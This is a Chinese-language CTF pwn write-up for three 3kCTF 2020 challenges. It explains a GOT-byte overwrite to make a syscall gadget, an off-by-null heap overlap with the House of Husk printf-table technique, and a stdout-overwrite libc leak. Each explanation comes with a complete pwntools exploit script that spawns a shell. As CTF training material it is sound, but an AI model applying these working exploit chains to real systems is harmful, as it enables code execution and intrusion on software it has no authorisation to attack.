2020 3kCTF 部分PWN WriteUp, one_and_a_half_man栈溢出,修改read的got表将read转变为syscall gadget。 big_house是只能利用大于fastbin堆块的Off-By-NULL的漏洞的利用,这里使用到了一种新的技术House Of Husk,通过覆写格式化字符串处理函数处理字符时会调用到的__printf_arginfo_table(函数表)和__printf_function_table(仅判断),在进行格式化字符串处理时Getshell。base_jumper是一个简单的栈溢出,通过覆写stdout结构体,调用fflush泄露libc基址,接着再次利用栈溢出getshell。

one_and_a_half_man

程序很简单,是个简单的栈溢出。考察的是ropchain的编写。但是程序中只存在两个函数read,setbuf。没有设置eax,syscallgadget。我们看一下read函数的实现

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/afd53db7-4df4-422a-853f-6fcc1521ca1e/Untitled.png

可以看到read函数实现中调用了syscall,之后判断系统调用是否失败,如果成功则世界返回,因此如果我们将read函数的地址的低字节由0x80改为0x8f,那么我们就获得了一个systemgadget

并且由于我们只修改了一个字节,因此read函数的返回值是1,那么此时调用syscall,就相当于调用了write函数,如果我们输出59个字符,rax就会被改写为59,此时调用syscall,就相当于调用了execve了,将参数提前布置好就可以实现getshell

利用csu_init中的gadget链可以比较方便的实现调用链的构建

# encoding=utf-8
from pwn import *

file_path = "./one_and_a_half_man"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    gdb.attach(p, "b *0x4005D5")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

p_rdi_r = 0x0000000000400693
p_rsi_r15_r = 0x0000000000400692
leave_ret = 0x00000000004005db
csu_init_pop = 0x40068A
csu_init_call = 0x400670

payload = b"a"*0xa + b"a"*0x8
payload += p64(csu_init_pop)
payload += flat([0, 1, elf.got['read'], 0, elf.bss()+0x100, 0x100])
payload += p64(csu_init_call)
payload += flat([0xdeadbeef, 0, elf.bss()+0x100-8, 0, 0, 0, 0])
payload += p64(leave_ret)
payload = payload.ljust(0xaa, b"a")
p.send(payload)

sleep(1)

payload = p64(csu_init_pop)
payload += flat([0, 1, elf.got['read'], 0, elf.bss()+0x80, 8])
payload += p64(csu_init_call)
payload += flat([0xdeadbeef, 0, 1, elf.got['read'], 0, elf.got['read'], 1])
payload += p64(csu_init_call)
payload += flat([0xdeadbeef, 0, 1, elf.got['read'], 1, elf.bss()+0x80, 59])
payload += p64(csu_init_call)
payload += flat([0xdeadbeef, 0, 1, elf.got['read'], elf.bss()+0x80, 0, 0])
payload += p64(csu_init_call)
payload = payload.ljust(0x100, b"a")
p.send(payload)

p.send(b"/bin/sh\\\\x00" + b"\\\\x8f")
p.interactive()

big_house

程序在add函数中存在一个明显的Off-By-NULL漏洞,但是只允许分配大小>0X8F的堆块,我们可以利用Off-By-NULL修改后一个堆块的prev_inuse,size位,此时prev_size位已经启动,之后通过释放造成堆合并,这就出现了堆重叠,我们可以借此泄露libc基址。但是之后的利用是个难题,这里采用的是 House of Husk

这种方法通过覆写格式化字符串处理函数的__printf_function_table,__printf_arginfo_table的表地址指向我们可控的内存区域,并伪造这两个表,在进行格式化字符串处理处理到特定的字符的时候,使其调用我们指定的函数,进而getshell

申请的chunk_size的大小与偏移之间的关系是,dela是与第一个fastbin之间的偏移。

chunk_size = (dela * 2) + 0x20

# encoding=utf-8
from pwn import *

file_path = "./big_houses"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x1116)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x10a45c

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

def shopping():
    p.sendlineafter("> ", "1")

def add(size, content=b"12"):
    p.sendlineafter("> ", "1")
    p.sendlineafter("name size:", str(size))
    p.sendafter("item's name:", content)

def delete(index):
    p.sendlineafter("> ", "2")
    p.sendlineafter("item's spot:", str(index))

def show():
    p.sendlineafter("> ", "3")

def edit(index, content):
    p.sendlineafter("> ", "4")
    p.sendlineafter("item's spot:", str(index))
    p.sendafter("the new name:", content)

shopping()

for i in range(7):
    add(0x98)
    delete(0)

global_max_fast = 0x3ed940
__printf_function_table = 0x3f0658
__printf_arginfo_table = 0x3ec870
main_arena = 0x10 + libc.sym['__malloc_hook']

gdb.attach(p, "b *$rebase(0x1116)")
add(0x427)
add(0x97)
add(0x97)
payload = b"a"*0x4f8 + p64(0x31)
add(0x527, payload)
add(0x97)

delete(2)
add(0x98, b"a"*0x90 + p64(0x570))
delete(0)
delete(3)
delete(4)

add(2*(__printf_function_table - main_arena)-0x10) # 0
add(2*(__printf_arginfo_table - main_arena)-0x10) # 3

add(0x428)
show()
p.recvuntil("1: ")
libc.address = u64(p.recvline().strip(b"\\\\n").ljust(8, b"\\\\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address {}".format(hex(libc.address)))

global_max_fast += libc.address
__printf_arginfo_table += libc.address
__printf_function_table += libc.address

edit(1, p64(0) + p64(global_max_fast - 0x10))
add(0x5f8)

payload = p64(0)*(ord('u')-2)
payload += p64(one_gadget + libc.address) + b"\\\\n"
edit(3, payload)

delete(0)
delete(3)

p.sendlineafter("> ", "5")
p.sendlineafter("> ", "2")

p.interactive()

base_jumper

是一个简单的栈溢出漏洞,参考这篇文章,利用的整体思路就是构造ropchain覆写stdoutIO_write_buf的低一字节,然后调用fflush函数泄露libc基址,fflush地址之后紧跟vuln函数地址,再次通过栈溢出利用rop chain调用execve("/bin/sh"),进而getshell

在构造rop chain需要注意是防止新读取的数据覆盖原有的rop chain。需要通过一定数量的ret指令消耗栈中空间,防止破坏数据。

# encoding=utf-8
from pwn import *

file_path = "./base_jumper"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    gdb.attach(p)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

p_rbp_r = 0x00000000004005b8
p_rdi_r = 0x0000000000400763
p_rsi_r15_r = 0x0000000000400761
leave_r = 0x0000000000400666
p_r15_r = 0x0000000000400762
ret_address = 0x000000000040050e
vuln_address = elf.sym['vuln']
set_rdx_stdin = elf.sym['gift']
flush_address = elf.plt['fflush']
fgets_address = elf.plt['fgets']

stdout_address = 0x601020

payload = b"a"*0xa+b"a"*0x8
payload += flat([
    set_rdx_stdin,
    p_rsi_r15_r, 0x20, 0,
    p_rdi_r, 0x601000,
    fgets_address,
    set_rdx_stdin,
    p_rsi_r15_r, 0x8, 0,
    p_rdi_r, 0x601028,
    fgets_address,
    set_rdx_stdin,
    p_rsi_r15_r, 0x8, 0,
    p_rdi_r, 0x601038,
    fgets_address,
    set_rdx_stdin,
    p_rsi_r15_r, 0x400, 0,
    p_rdi_r, 0x601048,
    fgets_address,

    p_rbp_r, 0x601000-0x8,
    leave_r
])

payload = payload.ljust(0x400, b"A")

p.send(payload[:-1])
raw_input()
payload = flat([
    p_rsi_r15_r, 0x21, 0,
    p_rdi_r
])
p.send(payload[:-1])
raw_input()
p.send(p64(p_r15_r)[:-1])
raw_input()
p.send(p64(p_r15_r)[:-1])
raw_input()

payload = p64(ret_address)*0x20
payload += flat([
    set_rdx_stdin,
    fgets_address,
    set_rdx_stdin,
    p_rsi_r15_r, 0x20, 0,
    p_rdi_r, 0x601000,
    fgets_address,
    set_rdx_stdin,])
payload += p64(ret_address)*0x20 # costing buffer, avoid overflow while reading input
payload += flat([
    p_rsi_r15_r, 0x200, 0,
    p_rdi_r, 0x601048,
    fgets_address,
    p_rbp_r, 0x601000-0x8,
    leave_r
])
payload = payload.ljust(0x400, b"a")
p.send(payload[:-1])
raw_input()
fake_io = p64(0xfbad1800) + p64(0)*3
p.send(fake_io)
raw_input()

payload = flat([
    ret_address, ret_address, ret_address,
    p_rdi_r
])
p.send(payload[:-1])
raw_input()
payload = p64(ret_address)*0x20 + p64(flush_address) + p64(vuln_address)
payload = payload.ljust(0x200, b"a")
p.send(payload[:-1])

p.recvuntil(p64(0xfbad1800) + p64(0)*3)
libc.address = u64(p.recv(8)) + 0x20 - libc.sym['_IO_2_1_stdout_']
log.success("libc address {}".format(hex(libc.address)))

p_rdx_r = 0x0000000000001b92 + libc.address
payload = b"a"*(0xa+0x8)
payload += flat([
    p_rdx_r, 0,
    p_rsi_r15_r, 0, 0,
    p_rdi_r, libc.search(b"/bin/sh\\\\x00").__next__(),
    libc.sym['execve']
])
raw_input()
p.sendline(payload)
p.interactive()

参考